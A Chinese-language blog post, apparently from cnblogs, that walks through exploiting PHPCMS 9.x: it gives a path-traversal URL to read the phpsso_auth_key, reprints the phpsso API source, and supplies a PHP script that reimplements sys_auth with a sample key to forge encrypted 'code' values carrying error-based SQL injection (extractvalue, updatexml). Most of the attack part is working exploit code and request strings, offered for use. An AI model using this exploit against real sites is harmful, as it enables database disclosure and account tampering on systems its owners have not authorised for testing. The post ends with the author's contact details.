PHPCMS phpsso_auth_key泄露导致注入 测试环境9.6.0版本,其他版本未具体测试
获取key
通过文件包含漏洞读取phpsso_auth_key (9.5.7中招,v9.6.0没有此漏洞):
/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
其他获取phpsso_auth_key的方法(phpcmsV9.5.8 设计缺陷可获取phpsso_auth_key : https://php.mengsec.com/bugs/wooyun-2015-091314.html)
利用方法
/api.php?op=phpss&time=1583479696&code=*************************
因为没有对用户提交的参数做处理,直接解密放入数据库查询或者更新, 可以利用updatexml语句暴数据即可
<?php /* * 客户端被动接收phpsso服务端通知 * 服务端通知内容:同步登陆、退出,同步积分设置、对换比率,同步添加、删除用户、修改用户密码,测试通信状态 * */ defined('IN_PHPCMS') or exit('No permission resources.'); $db = pc_base::load_model('member_model'); $system = pc_base::load_config('system'); define('APPID', $system['phpsso_appid']); $ps_api_url = $system['phpsso_api_url']; //接口地址 $ps_auth_key = $system['phpsso_auth_key']; //加密密钥 $ps_version = $system['phpsso_version']; pc_base::load_app_class('client', 'member', 0); $client = new client($ps_api_url, $ps_auth_key); $code = $_REQUEST['code']; // echo $client->sys_auth("aa=bb", 'ENCODE'); parse_str($client->sys_auth($code, 'DECODE'), $arr); var_dump($arr); if(isset($arr['action'])) { $action = $arr['action']; } else { exit('0'); } /** * 测试通信状态 */ if ($action == 'check_status') exit('1'); /** * 添加用户 */ if ($action == 'member_add') { $userinfo = array(); $userinfo['phpssouid'] = isset($arr['uid']) ? $arr['uid'] : exit('0'); $userinfo['encrypt'] = isset($arr['random']) ? $arr['random'] : exit('0'); $userinfo['username'] = isset($arr['username']) ? $arr['username'] : exit('0'); $userinfo['password'] = isset($arr['password']) ? $arr['password'] : exit('0'); $userinfo['email'] = isset($arr['email']) ? $arr['email'] : ''; $userinfo['regip'] = isset($arr['regip']) ? $arr['regip'] : ''; $userinfo['regdate'] = $userinfo['lastdate'] = SYS_TIME; $userinfo['modelid'] = 10; $userinfo['groupid'] = 6; $userid = $db->insert($userinfo, 1); if($userid) { exit('1'); } else { exit('0'); } } /** * 删除用户 */ if ($action == 'member_delete') { $uidarr = $arr['uids']; $where = to_sqls($uidarr, '', 'phpssouid'); $status = $db->delete($where); if($status) { exit('1'); } else { exit('0'); } } /** * 编辑用户 */ if ($action == 'member_edit') { if(!isset($arr['uid'])) exit('0'); $userinfo = array(); if(isset($arr['password'])) { $userinfo['password'] = $arr['password']; $userinfo['encrypt'] = $arr['random']; } if(isset($arr['email']) && !empty($arr['email'])) { $userinfo['email'] = $arr['email']; } if(empty($userinfo)) exit('1'); $status = $db->update($userinfo, array('phpssouid'=> $arr['uid'])); if($status) { exit('1'); } else { exit('0'); } } /** * 应用积分列表 */ if ($action == 'credit_list') { $credit_list = pc_base::load_config('credit'); echo $client->array2string($credit_list); exit; } /** * 更新积分兑换规则 */ if ($action == 'credit_update') { setcache('creditchange', $arr, 'member'); exit('1'); } /** * 同步登陆 */ if ($action == 'synlogin') { if(!isset($arr['uid'])) exit('0'); $phpssouid = $arr['uid']; $userinfo = $db->get_one(array('phpssouid'=>$phpssouid)); if (!$userinfo) { //插入会员 exit; $ps_userinfo = $client->ps_get_member_info($userid); $ps_userinfo = unserialize($ps_userinfo); if ($ps_userinfo['uid'] > 0) { require_once MOD_ROOT.'api/member_api.class.php'; $member_api = new member_api(); $arr_member['touserid'] = $ps_userinfo['uid']; $arr_member['registertime'] = TIME; $arr_member['lastlogintime'] = TIME; $arr_member['username'] = $ps_userinfo['username']; $arr_member['password'] = md5(PASSWORD_KEY.$password) ; $arr_member['email'] = $ps_userinfo['email']; $arr_member['modelid'] = 10; $member_api->add($arr_member); $userid = $member->get_userid($arr['username']); $userinfo = $member->get($userid); } $username = $ps_userinfo['username']; } else { $username = $userinfo['username']; } //执行本系统登陆操作 $userid = $userinfo['userid']; $groupid = $userinfo['groupid']; $username = $userinfo['username']; $password = $userinfo['password']; $nickname = $userinfo['nickname']; $db->update(array('lastip'=>ip(), 'lastdate'=>SYS_TIME), array('userid'=>$userid)); pc_base::load_sys_class('param', '', 0); if(!$cookietime) $get_cookietime = param::get_cookie('cookietime'); $_cookietime = $cookietime ? intval($cookietime) : ($get_cookietime ? $get_cookietime : 0); $cookietime = $_cookietime ? TIME + $_cookietime : 0; $phpcms_auth = sys_auth($userid."\t".$password, 'ENCODE', get_auth_key('login')); header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"'); param::set_cookie('auth', $phpcms_auth, $cookietime); param::set_cookie('_userid', $userid, $cookietime); param::set_cookie('_username', $username, $cookietime); param::set_cookie('_nickname', $nickname, $cookietime); param::set_cookie('_groupid', $groupid, $cookietime); param::set_cookie('cookietime', $_cookietime, $cookietime); exit('1'); } /** * 同步退出 */ if ($action == 'synlogout') { header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"'); pc_base::load_sys_class('param', '', 0); param::set_cookie('auth', ''); param::set_cookie('_userid', ''); param::set_cookie('_username', ''); param::set_cookie('_nickname', ''); param::set_cookie('_groupid', ''); param::set_cookie('cookietime', ''); exit('1'); //执行本系统退出操作 } ?>
准备好sys_auth文件以及暴库语句,整理成php脚本:
<?php $ps_auth_key = "9HalGQZO1FRCXbKwP29ihTRmDkAvNg2n"; function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) { global $ps_auth_key; $ckey_length = 4; $key = md5($key != '' ? $key : $ps_auth_key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '='); } } #echo sys_auth("action=member_add&uid=11&random=nyc&username=aaa&password=aaa", 'ENCODE'); echo sys_auth("action=member_add&uid=11&random=nyc&username=aaa&password='and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '", 'ENCODE'); #echo sys_auth("action=synlogin&uid=1' and updatexml(1,concat('~',user()),1)#", 'ENCODE'); ?>
数据库爆出来了:
作者: NONO
出处:http://www.cnblogs.com/diligenceday/
企业网站:http://www.idrwl.com/
开源博客:http://www.github.com/sqqihao
QQ:287101329
微信:18101055830
天道酬勤